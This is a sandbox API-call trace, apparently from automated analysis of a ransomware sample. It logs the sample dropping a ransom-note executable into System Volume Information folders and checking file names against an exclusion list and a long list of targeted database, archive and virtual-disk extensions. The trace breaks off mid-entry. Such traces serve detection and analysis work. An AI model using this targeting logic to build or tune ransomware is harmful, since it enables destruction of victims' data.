CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.880] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x154 [0099.881] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000 [0099.882] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.883] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.883] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.884] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.884] CloseHandle (hObject=0x154) returned 1 [0099.884] CloseHandle (hObject=0x17c) returned 1 [0099.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.884] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x8402be80, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x8402be80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x8402be80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ee224d27-954d-4040-87c6-066b5517487c}_OnDiskSnapshotProp", cAlternateFileName="{EE224~1")) returned 0 [0099.884] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0099.884] ReleaseMutex (hMutex=0xec) returned 1 [0099.884] CloseHandle (hObject=0xec) returned 1 [0099.884] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\System Volume Information\\SPP\\SppCbsHiveStore" | out: lpString1="C:\\System Volume Information\\SPP\\SppCbsHiveStore") returned="C:\\System Volume Information\\SPP\\SppCbsHiveStore" [0099.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e7b0 | out: hHeap=0x4f0000) returned 1 [0099.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50add0 | out: hHeap=0x4f0000) returned 1 [0099.884] lstrlenW (lpString="C:\\System Volume Information\\SPP\\SppCbsHiveStore") returned 48 [0099.884] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\65FBB6D642D4CE54EBE5921DC21149BC") returned 0xec [0099.885] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0099.885] lstrcatW (in: lpString1="", lpString2="C:\\System Volume Information\\SPP\\SppCbsHiveStore" | out: lpString1="C:\\System Volume Information\\SPP\\SppCbsHiveStore") returned="C:\\System Volume Information\\SPP\\SppCbsHiveStore" [0099.885] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0099.885] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\SPP\\SppCbsHiveStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\sppcbshivestore\\how to back your files.exe"), bFailIfExists=1) returned 0 [0099.885] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppCbsHiveStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\sppcbshivestore\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0099.885] GetLastError () returned 0x0 [0099.885] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0099.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0099.885] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0099.886] CloseHandle (hObject=0xf4) returned 1 [0099.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.886] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0099.886] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\SPP\\SppCbsHiveStore\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x818235c0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc50d71e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0099.887] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.887] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.887] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.887] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x818235c0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc50d71e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.887] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.887] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.887] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.887] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.887] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc50d71e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0099.887] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0099.887] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc50d71e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0099.887] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0099.887] ReleaseMutex (hMutex=0xec) returned 1 [0099.887] CloseHandle (hObject=0xec) returned 1 [0099.887] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\System Volume Information\\SPP\\SppGroupCache" | out: lpString1="C:\\System Volume Information\\SPP\\SppGroupCache") returned="C:\\System Volume Information\\SPP\\SppGroupCache" [0099.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5240f0 | out: hHeap=0x4f0000) returned 1 [0099.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ade8 | out: hHeap=0x4f0000) returned 1 [0099.887] lstrlenW (lpString="C:\\System Volume Information\\SPP\\SppGroupCache") returned 46 [0099.887] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\95C04072B1BE70F6E9CEFFA52478FEA6") returned 0xec [0099.887] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0099.888] lstrcatW (in: lpString1="", lpString2="C:\\System Volume Information\\SPP\\SppGroupCache" | out: lpString1="C:\\System Volume Information\\SPP\\SppGroupCache") returned="C:\\System Volume Information\\SPP\\SppGroupCache" [0099.888] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0099.888] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0099.888] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0099.888] GetLastError () returned 0x0 [0099.888] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0099.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0099.888] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0099.889] CloseHandle (hObject=0xf4) returned 1 [0099.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.889] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0099.889] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8178b040, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc50d71e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0099.890] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.890] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.890] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.890] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8178b040, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc50d71e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.891] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.891] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.891] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.891] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.891] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc50d71e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0099.891] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0099.891] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xeaba7d40, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xeaba7d40, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xeac402c0, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", cAlternateFileName="{00C95~1")) returned 1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2=".") returned 1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="..") returned 1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="windows") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="temp") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="boot") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0099.891] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="perflogs") returned -1 [0099.892] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0099.892] lstrlenW (lpString="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo") returned 56 [0099.892] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo" | out: lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo") returned="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo" [0099.892] lstrlenW (lpString="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo") returned 56 [0099.892] lstrlenW (lpString="Athena865") returned 9 [0099.892] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0099.892] lstrlenW (lpString=".dll") returned 4 [0099.892] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2=".dll") returned 1 [0099.892] lstrlenW (lpString=".lnk") returned 4 [0099.892] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2=".lnk") returned 1 [0099.892] lstrlenW (lpString=".ini") returned 4 [0099.892] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2=".ini") returned 1 [0099.892] lstrlenW (lpString=".sys") returned 4 [0099.892] lstrcmpiW (lpString1="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo", lpString2=".sys") returned 1 [0099.892] lstrlenW (lpString="{00C95144-E912-40B3-A2D1-B8E12BC815D0}_DriverPackageInfo") returned 56 [0099.892] lstrlenW (lpString="bak") returned 3 [0099.892] lstrcmpiW (lpString1="nfo", lpString2="bak") returned 1 [0099.892] lstrlenW (lpString="ba_") returned 3 [0099.892] lstrcmpiW (lpString1="nfo", lpString2="ba_") returned 1 [0099.892] lstrlenW (lpString="dbb") returned 3 [0099.892] lstrcmpiW (lpString1="nfo", lpString2="dbb") returned 1 [0099.892] lstrlenW (lpString="vmdk") returned 4 [0099.892] lstrcmpiW (lpString1="Info", lpString2="vmdk") returned -1 [0099.892] lstrlenW (lpString="rar") returned 3 [0099.892] lstrcmpiW (lpString1="nfo", lpString2="rar") returned -1 [0099.892] lstrlenW (lpString="zip") returned 3 [0099.892] lstrcmpiW (lpString1="nfo", lpString2="zip") returned -1 [0099.892] lstrlenW (lpString="tgz") returned 3 [0099.892] lstrcmpiW (lpString1="nfo", lpString2="tgz") returned -1 [0099.892] lstrlenW (lpString="vbox") returned 4 [0099.893] lstrcmpiW (lpString1="Info", lpString2="vbox") returned -1 [0099.893] lstrlenW (lpString="vdi") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="vdi") returned -1 [0099.893] lstrlenW (lpString="vhd") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="vhd") returned -1 [0099.893] lstrlenW (lpString="vhdx") returned 4 [0099.893] lstrcmpiW (lpString1="Info", lpString2="vhdx") returned -1 [0099.893] lstrlenW (lpString="avhd") returned 4 [0099.893] lstrcmpiW (lpString1="Info", lpString2="avhd") returned 1 [0099.893] lstrlenW (lpString="db") returned 2 [0099.893] lstrcmpiW (lpString1="fo", lpString2="db") returned 1 [0099.893] lstrlenW (lpString="db2") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="db2") returned 1 [0099.893] lstrlenW (lpString="db3") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="db3") returned 1 [0099.893] lstrlenW (lpString="dbf") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="dbf") returned 1 [0099.893] lstrlenW (lpString="mdf") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="mdf") returned 1 [0099.893] lstrlenW (lpString="mdb") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="mdb") returned 1 [0099.893] lstrlenW (lpString="sql") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="sql") returned -1 [0099.893] lstrlenW (lpString="sqlite") returned 6 [0099.893] lstrcmpiW (lpString1="geInfo", lpString2="sqlite") returned -1 [0099.893] lstrlenW (lpString="sqlite3") returned 7 [0099.893] lstrcmpiW (lpString1="ageInfo", lpString2="sqlite3") returned -1 [0099.893] lstrlenW (lpString="sqlitedb") returned 8 [0099.893] lstrcmpiW (lpString1="kageInfo", lpString2="sqlitedb") returned -1 [0099.893] lstrlenW (lpString="xml") returned 3 [0099.893] lstrcmpiW (lpString1="nfo", lpString2="xml") returned -1 [0099.894] lstrlenW (lpString="$er") returned 3 [0099.894] lstrcmpiW (lpString1="nfo", lpString2="$er") returned 1 [0099.894] lstrlenW (lpString="4dd") returned 3 [0099.894] lstrcmpiW (lpString1="nfo", lpString2="4dd") returned 1 [0099.894] lstrlenW (lpString="4dl") returned 3 [0099.894] lstrcmpiW (lpString1="nfo", lpString2="4dl") returned 1 [0099.894] lstrlenW (lpString="^^^") returned 3 [0099.894] lstrcmpiW (lpString1="nfo", lpString2="^^^") returned 1 [0099.894] lstrlenW (lpString="abs") returned 3 [0099.894] lstrcmpiW (lpString1="nfo", lpString2="abs") returned 1 [0099.894] lstrlenW (lpString="abx") returned 3 [0099.894] lstrcmpiW (lpString1="nfo", lpString2="abx") returned 1 [0099.894] lstrlenW (lpString="accdb") returned 5 [0099.894] lstrcmpiW (lpString1="eInfo", lpString2="accdb") returned 1 [0099.894] lstrlenW (lpString="accdc") returned 5 [0099.894] lstrcmpiW (lpString1="eInfo", lpString2="accdc") returned 1 [0099.894] lstrlenW (lpString="accde") returned 5 [0099.894] lstrcmpiW (lpString1="eInfo", lpString2="accde") returned 1 [0099.894] lstrlenW (lpString="accdr") returned 5 [0099.894] lstrcmpiW (lpString1="eInfo", lpString2="accdr") returned 1 [0099.894] lstrlenW (lpString="accdt") returned 5 [0099.894] lstrcmpiW (lpString1="eInfo", lpString2="accdt") returned 1 [0099.894] lstrlenW (lpString="accdw") returned 5 [0099.894] lstrcmpiW (lpString1="eInfo", lpString2="accdw") returned 1 [0099.894] lstrlenW (lpString="accft") returned 5 [0099.894] lstrcmpiW (lpString1="eInfo", lpString2="accft") returned 1 [0099.894] lstrlenW (lpString="adb") returned 3 [0099.894] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0099.894] lstrlenW (lpString="adb") returned 3 [0099.894] lstrcmpiW (lpString1="nfo", lpString2="adb") returned 1 [0099.895] lstrlenW (lpString="ade") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="ade") returned 1 [0099.895] lstrlenW (lpString="adf") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="adf") returned 1 [0099.895] lstrlenW (lpString="adn") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="adn") returned 1 [0099.895] lstrlenW (lpString="adp") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="adp") returned 1 [0099.895] lstrlenW (lpString="alf") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="alf") returned 1 [0099.895] lstrlenW (lpString="ask") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="ask") returned 1 [0099.895] lstrlenW (lpString="btr") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="btr") returned 1 [0099.895] lstrlenW (lpString="cat") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="cat") returned 1 [0099.895] lstrlenW (lpString="cdb") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="cdb") returned 1 [0099.895] lstrlenW (lpString="ckp") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="ckp") returned 1 [0099.895] lstrlenW (lpString="cma") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="cma") returned 1 [0099.895] lstrlenW (lpString="cpd") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="cpd") returned 1 [0099.895] lstrlenW (lpString="dacpac") returned 6 [0099.895] lstrcmpiW (lpString1="geInfo", lpString2="dacpac") returned 1 [0099.895] lstrlenW (lpString="dad") returned 3 [0099.895] lstrcmpiW (lpString1="nfo", lpString2="dad") returned 1 [0099.895] lstrlenW (lpString="dadiagrams") returned 10 [0099.895] lstrcmpiW (lpString1="ackageInfo", lpString2="dadiagrams") returned -1 [0099.895] lstrlenW (lpString="daschema") returned 8 [0099.896] lstrcmpiW (lpString1="kageInfo", lpString2="daschema") returned 1 [0099.896] lstrlenW (lpString="db-journal") returned 10 [0099.896] lstrcmpiW (lpString1="ackageInfo", lpString2="db-journal") returned -1 [0099.896] lstrlenW (lpString="db-shm") returned 6 [0099.896] lstrcmpiW (lpString1="geInfo", lpString2="db-shm") returned 1 [0099.896] lstrlenW (lpString="db-wal") returned 6 [0099.896] lstrcmpiW (lpString1="geInfo", lpString2="db-wal") returned 1 [0099.896] lstrlenW (lpString="dbc") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dbc") returned 1 [0099.896] lstrlenW (lpString="dbs") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dbs") returned 1 [0099.896] lstrlenW (lpString="dbt") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dbt") returned 1 [0099.896] lstrlenW (lpString="dbv") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dbv") returned 1 [0099.896] lstrlenW (lpString="dbx") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dbx") returned 1 [0099.896] lstrlenW (lpString="dcb") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dcb") returned 1 [0099.896] lstrlenW (lpString="dct") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dct") returned 1 [0099.896] lstrlenW (lpString="dcx") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dcx") returned 1 [0099.896] lstrlenW (lpString="ddl") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="ddl") returned 1 [0099.896] lstrlenW (lpString="dlis") returned 4 [0099.896] lstrcmpiW (lpString1="Info", lpString2="dlis") returned 1 [0099.896] lstrlenW (lpString="dp1") returned 3 [0099.896] lstrcmpiW (lpString1="nfo", lpString2="dp1") returned 1 [0099.896] lstrlenW (lpString="dqy") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="dqy") returned 1 [0099.897] lstrlenW (lpString="dsk") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="dsk") returned 1 [0099.897] lstrlenW (lpString="dsn") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="dsn") returned 1 [0099.897] lstrlenW (lpString="dtsx") returned 4 [0099.897] lstrcmpiW (lpString1="Info", lpString2="dtsx") returned 1 [0099.897] lstrlenW (lpString="dxl") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="dxl") returned 1 [0099.897] lstrlenW (lpString="eco") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="eco") returned 1 [0099.897] lstrlenW (lpString="ecx") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="ecx") returned 1 [0099.897] lstrlenW (lpString="edb") returned 3 [0099.897] lstrcmpiW (lpString1="nfo", lpString2="edb") returned 1 [0099.897] lstrlenW (lpString="epim") returned 4 [0099.897] lstrcmpiW (lpString1="Info", lpString2="epim") returned 1 [0099.897] lstrlenW (lpString="fcd") returned 